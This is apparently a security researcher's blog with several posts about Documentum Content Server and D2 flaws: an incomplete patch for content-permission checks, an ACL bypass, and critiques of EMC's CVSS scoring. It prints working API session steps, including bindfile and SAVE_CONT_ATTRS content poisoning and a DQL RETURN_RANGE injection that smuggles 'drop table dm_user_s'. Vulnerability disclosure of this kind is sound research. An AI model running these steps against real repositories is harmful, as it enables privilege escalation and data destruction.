Repository traversal

API> fetch,c,0b024be9800a8e60
...
[DM_API_E_EXIST]error:  "Document/object specified by 0b024be9800a8e60 does not exist."

[DM_SYSOBJECT_E_NO_BROWSE_ACCESS]error:  "No browse access for sysobject with ID '0b024be9800a8e60'."

but:

API> apply,c,0b024be9800a8e60,FETCH_PIECE,OBJECT_TYPE,S,dm_sysobject,VSTAMP,I,-1
...
q0
API> next,c,q0
...
OK
API> dump,c,q0
...
USER ATTRIBUTES

  object_name                     : Repository traversal
  title                           : 
  subject                         : 
  resolution_label                : 
  owner_name                      : dmadmin
  owner_permit                    : 7
  group_name                      : docu
  group_permit                    : 5
  world_permit                    : 1
  log_entry                       : 
  acl_domain                      : dmadmin
  acl_name                        : dm_45024be98000c501
  language_code                   : 

SYSTEM ATTRIBUTES

  r_object_type                   : dm_folder
  r_creation_date                 : 5/14/2018 07:43:07
  r_modify_date                   : 5/14/2018 07:43:07
  r_modifier                      : dmadmin
  r_access_date                   : nulldate
  r_link_cnt                      : 0
  r_link_high_cnt                 : 0
  r_assembled_from_id             : 0000000000000000
  r_frzn_assembly_cnt             : 0
  r_has_frzn_assembly             : F
  r_is_virtual_doc                : 0
  r_page_cnt                      : 0
  r_content_size                  : 0
  r_lock_owner                    : 
  r_lock_date                     : nulldate
  r_lock_machine                  : 
  r_immutable_flag                : F
  r_frozen_flag                   : F
  r_has_events                    : F
  r_creator_name                  : dmadmin
  r_is_public                     : F
  r_policy_id                     : 0000000000000000
  r_resume_state                  : 0
  r_current_state                 : 0
  r_alias_set_id                  : 0000000000000000
  r_full_content_size             : 0

APPLICATION ATTRIBUTES

  a_application_type              : 
  a_status                        : 
  a_is_hidden                     : F
  a_retention_date                : nulldate
  a_archive                       : F
  a_compound_architecture         : 
  a_link_resolved                 : F
  a_content_type                  : 
  a_full_text                     : T
  a_storage_type                  : 
  a_special_app                   : 
  a_category                      : 
  a_is_template                   : F
  a_controlling_app               : 
  a_is_signed                     : F
  a_last_review_date              : nulldate

INTERNAL ATTRIBUTES

  i_is_deleted                    : F
  i_reference_cnt                 : 1
  i_has_folder                    : T
  i_contents_id                   : 0000000000000000
  i_cabinet_id                    : 0c024be980000105
  i_antecedent_id                 : 0000000000000000
  i_chronicle_id                  : 0b024be9800a8e60
  i_latest_flag                   : T
  i_branch_cnt                    : 0
  i_direct_dsc                    : F
  i_is_reference                  : F
  i_retain_until                  : nulldate
  i_partition                     : 0
  i_is_replica                    : F
  i_vstamp                        : 0

DM_CONTENT_PERM_CHECK

On May 2015 I discoveredpublished information about serious security flaw in Documentum – Content Server does not check user permissions when transferring content and modifying dmr_content objects, on June 2015 I had noticed that EMC wrongly implemented some security-related changes in Content Server, and, finally, on November 2015 (so slow) EMC published ETA that their changes break something – no information available about what got broken, so let’s check what was affected by new Content Server patches.

I think the idea of the original proof of concept is pretty clear: data_ticket attribute of dm_content objects points to the file on CS filesystem, attacker loads malicious content into separate sysobject and then transfers dmr_content attributes from donor to recipient, so docbase method gets poisoned. What has been changed in Documentum 7.2P02 to mitigate this security flaw? EMC started to check permissions for corresponding sysobjects and my proof of concept got broken:

API> apply,c,06024be980000199,SAVE_CONT_ATTRS,
        data_ticket,I,-2147480126,content_size,I,0,
        full_content_size,I,0,OBJECT_TYPE,S,dmr_content,
        IS_NEW_OBJECT,B,F
...
q0
API> ?,c,q0
result
------------
           0
(1 row affected)
[DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error:  
            "Cannot access content '06024be980000199'.
            No write permission for current user"

What did EMC miss in their remediation? They failed to read documentation – attacker was able to use bindfile capability to share dmr_content object between victim object and object which was accessible for write:

Connected to Documentum Server running Release 7.2.0030.0195  Linux64.Oracle
Session id is s0
API> retrieve,c,dm_method where use_method_content=TRUE
...
10024be980000471
API> create,c,dm_document
...
09024be98003b903
API> bindfile,c,l,0,10024be980000471,0
...
OK
API> save,c,l

......

API> apply,c,06024be980000198,SAVE_CONT_ATTRS
  ,data_ticket,I,-2147439323
  ,OBJECT_TYPE,S,dmr_content
  ,IS_NEW_OBJECT,B,F
...
q0
API> ?,c,q0
result      
------------
           1
(1 row affected)

API> 

It is not clear how EMC realised that bindfile capability is vulnerable (most likely they got such information from another blog) but in latest CS patches the behaviour of bindfile capability got broken – now to use this capability user must have write access for donor sysobject:

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> retrieve,c,dm_method where object_name='pre_erouter2_forward'
...
10024be980000472
API> get,c,l,_permit
...
3
API> create,c,dm_document
...
09024be98003bd03
API> bindfile,c,l,0,10024be980000472,0
...
OK
API> save,c,l
...
[DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error:  
  "Cannot access content '06024be980000199'.No write permission for current user"

saveasnew got broken too:

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> fetch,c,09024be980034157
...
OK
API> saveasnew,c,l,T
...
[DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error:  
  "Cannot access content '06024be98000ed48'.No write permission for current user"

getpath (technically, only browse access required):

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> getpath,c,09024be980034171
...
[DM_SYSOBJECT_E_NO_READ_ACCESS]error:  
   "No read access for sysobject named '09024be980034171'"

You may return previous behaviour by setting up DM_CONTENT_PERM_CHECK environment variable:

[dmadmin@docu72dev01 ~]$ export DM_CONTENT_PERM_CHECK=0
[dmadmin@docu72dev01 ~]$ dm_start_DCTM_DEV 
starting Documentum server for repository: [DCTM_DEV]
with server log: [/u01/documentum/cs/dba/log/DCTM_DEV.log]
server pid: 97437

...

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> create,c,dm_document
...
09024be98003c100
API> bindfile,c,l,0,10024be980000472,0
...
OK
API> save,c,l
...
OK
API> 

Poor documentation or backdoor?

Four months ago I disclosed a vulnerability in Documentum 7.3/PostgreSQL, which allows attacker to execute arbitrary SQL statements, interesting thing here is vulnerability description is bit wrong, i.e. prerequisite “return_top_results_row_based config option is set to false” is not required:

Connected to Documentum Server running Release 7.3.0010.0013  Linux64.Postgres
Session id is s0
API> ?,c,select count(*) from dm_user ENABLE (RETURN_RANGE 1 10 '1;drop table dm_user_s;')
     [DM_QUERY_E_INVALID_POSITION]error:  
       "The ORDER BY position number 1;drop table dm_user_s;  
       is out of range of the number of items in the select list."


API> ?,c,select count(*) from dm_user ENABLE (OBJECT_BASED,RETURN_RANGE 1 10 '1;drop table dm_user_s;')
     [DM_QUERY_E_CURSOR_ERROR]error:  
       "A database error has occurred during the creation of a cursor 
       (' STATE=2BP01, CODE=7, MSG=ERROR: cannot drop table dm_user_s 
       because other objects depend on it; Error while executing the query')."

What is OBJECT_BASED hint?

D2 4.6

Well, couple of weeks ago EMC bumped version of D2 and now they claim that this version has some security enhancements and these enhancements are so serious that all customers are recommended to upgrade their installations “at the earliest opportunity”:

Prior to EMC Documentum D2 4.6, many D2 Configuration object types were not properly protected with ACLs. As a result, an authenticated but unprivileged user could then modify or delete such objects.
Resolution

The following EMC Documentum D2 release contains resolutions to these vulnerabilities:

EMC Documentum D2 4.6

EMC recommends that all customers upgrade to D2 4.6 at the earliest opportunity

Yesterday Yuri Simione published a great post containing his thoughts about this vulnerability, unfortunately thoughts of Yuri Simione are just a half of the truth, and the real situation is much worse than you might expect. But before revealing all the cards let concentrate on EMC’s announce only. There are two main points:

The first point is really ridiculous because previously ECM claimed following about support policy for D2 4.5:

New D2 4.5 Support Windows:
Primary support extended to the April 30, 2019
Secondary support extended to April 30 of 2022

And as you can see D2 4.5 is not fully supported anymore. Doesn’t it look enticing to announce long support windows but every year forcibly move customers to new version?

The second point looks strange for me because security impact was either overestimated or underestimated. Take a look at EMC’s estimations:

and try to interpret values of CVSS vector:

  • AV:N – Attack Vector = Network – OK
  • AC:L – Access Complexity = Low – OK
  • PR:L – Privileges Required = Low – OK
  • UI:N – User Interaction = No – OK
  • S:U – Scope = Unchanged – see below
  • C:H – Confidentiality Impact = High – see below
  • I:H – Integrity Impact = High – OK
  • A:H – Availability Impact = High – OK

values of two metrics (Scope and Confidentiality Impact) look extremely doubtful: before D2 4.6 any authenticated user was able to read D2 configs stored in database and in D2 4.6 any authenticated user is able to read D2 configs stored in database, so, I do not see any “Confidentiality Impact” there, and this means that either “Confidentiality Impact” is not properly estimated or EMC tries to hide something. Fortunately, I was the original researcher of the most vulnerabilities in D2 and I do know the truth. Here you can find a list of unresolved vulnerabilities in Documentum product stack, this list was provided by CERT on February 2015, and there you can find following EMC’s comment:

Fixing PSRC-2105 will be a major undertaking and it has been decided by D2 Product Management that it will not be fixed in the next release of D2 (currently versioned as 4.2.1) scheduled GA in 2015 Q2 due to resource constraints. The remediation plan here then is to fix PSRC-2105 in 2015 after the upcoming D2 4.2.1 release.

It appears that the fixed releases communicated for this issue were incorrect. This has not been fixed because the vulnerability described in PSRC-2105 (D2 configuration objects not being protected with ACLs) on which it relies has not been fixed yet. However, fixing the latter will be a major undertaking and it has been decided by D2 Product Management that it will not be fixed in the next release of D2 (currently versioned as 4.2.1) scheduled GA in 2015 Q2 due to resource constraints. The remediation plan here then is to fix PSRC-2105 in 2015 after the upcoming D2 4.2.1 release.

this comment is related to the following blogpost: CVE-2015-0518. Was it really fixed?

So, the real situation is: if D2 is installed any authenticated user is able to gain superuser privileges, i.e. installation of D2 affects Content Server, so according to CVSS guide (“an exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component”) the value of Scope metric is “Changed” and the real CCVS vector is:

CVSS cheating

I had never touched on this topic before, but it was always interesting for me what causes EMC to mess with CVSS scores in their vulnerability reports, below are some examples based on ESA-2015-131:

EMC score:

Authenticated Content Server users with sysadmin privileges may potentially escalate their privileges to become a super-user due to improper authorization checks performed on subgroups that exists within the dm_superusers group and other privileged groups. This may potentially be exploited by a malicious attacker to gain unauthorized access to data or to perform unauthorized actions on Content Server. The previous fix for CVE-2014-4622 was incomplete.
CVE ID: CVE-2015-4531
CVSS v2 Base Score: 7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C)

NVD score:

CVSS v2 Base Score: 9.0 HIGH
Vector: (AV:N/AC:L/Au:S/C:C/I:C/A:C)
Impact Subscore: 10.0
Exploitability Subscore: 8.0

EMC score:

Authenticated non-privileged Content Server users are allowed to run save RPC commands with super user privileges on arbitrary objects. This is due to improper user authorization checks and object type checks being performed on these objects. This may potentially be exploited by a malicious, authenticated non-privileged user to perform unauthorized actions on Content Server including executing arbitrary code. The previous fix for CVE-2014-2514 was incomplete.
CVE ID: CVE-2015-4532
CVSS v2 Base Score: 8.2 (AV:N/AC:M/Au:S/C:C/I:C/A:P)

NVD score:

CVSS v2 Base Score: 9.0 HIGH
Vector: (AV:N/AC:L/Au:S/C:C/I:C/A:C)
Impact Subscore: 10.0
Exploitability Subscore: 8.0

EMC score:

Authenticated non-privileged Content Server users are allowed to execute arbitrary code with super user privileges via custom scripts. This is due to improper authorization checks being performed on the objects created. This may potentially be exploited to perform unauthorized actions on Content Server. The previous fix for CVE-2014-2513 was incomplete.
CVE ID: CVE-2015-4533
CVSS v2 Base Score: 8.2 (AV:N/AC:M/Au:S/C:C/I:C/A:P)

NVD score:

CVSS v2 Base Score: 9.0 HIGH
Vector: (AV:N/AC:L/Au:S/C:C/I:C/A:C)
Impact Subscore: 10.0
Exploitability Subscore: 8.0

EMC score:

Content Server delegates execution of business logic to an embedded java application server called “Java Method Server” (JMS). JMS fails to properly validate digital signatures, leading to the possibility of arbitrary code execution on the Content Server. An attacker capable of crafting a digital signature for a query string without the method_verb parameter may be able to execute arbitrary code in Content Server in JMS context, depending on Java classes present in the classloader.
CVE ID: CVE-2015-4534
CVSS v2 Base Score: 8.2 (AV:N/AC:M/Au:S/C:P/I:C/A:C)

NVD score:

CVSS v2 Base Score: 9.0 HIGH
Vector: (AV:N/AC:L/Au:S/C:C/I:C/A:C)
Impact Subscore: 10.0
Exploitability Subscore: 8.0

As you can see, EMC typically messes with “Access Complexity” and “* Impact” metrics, though these metrics either have an obvious nature (attacker gains superuser privileges, why was the “Availability Impact” estimated as “partial”?) or have a pretty straightforward clarification:

Access Complexity = Medium
The access conditions are somewhat specialized; the following are examples:

  • The attacking party is limited to a group of systems or users at some level of authorization, possibly untrusted.
  • Some information must be gathered before a successful attack can be launched.
  • The affected configuration is non-default, and is not commonly configured (e.g., a vulnerability present when a server performs user account authentication via a specific scheme, but not present for another authentication scheme).
  • The attack requires a small amount of social engineering that might occasionally fool cautious users (e.g., phishing attacks that modify a web browsers status bar to show a false link, having to be on someones buddy list before sending an IM exploit).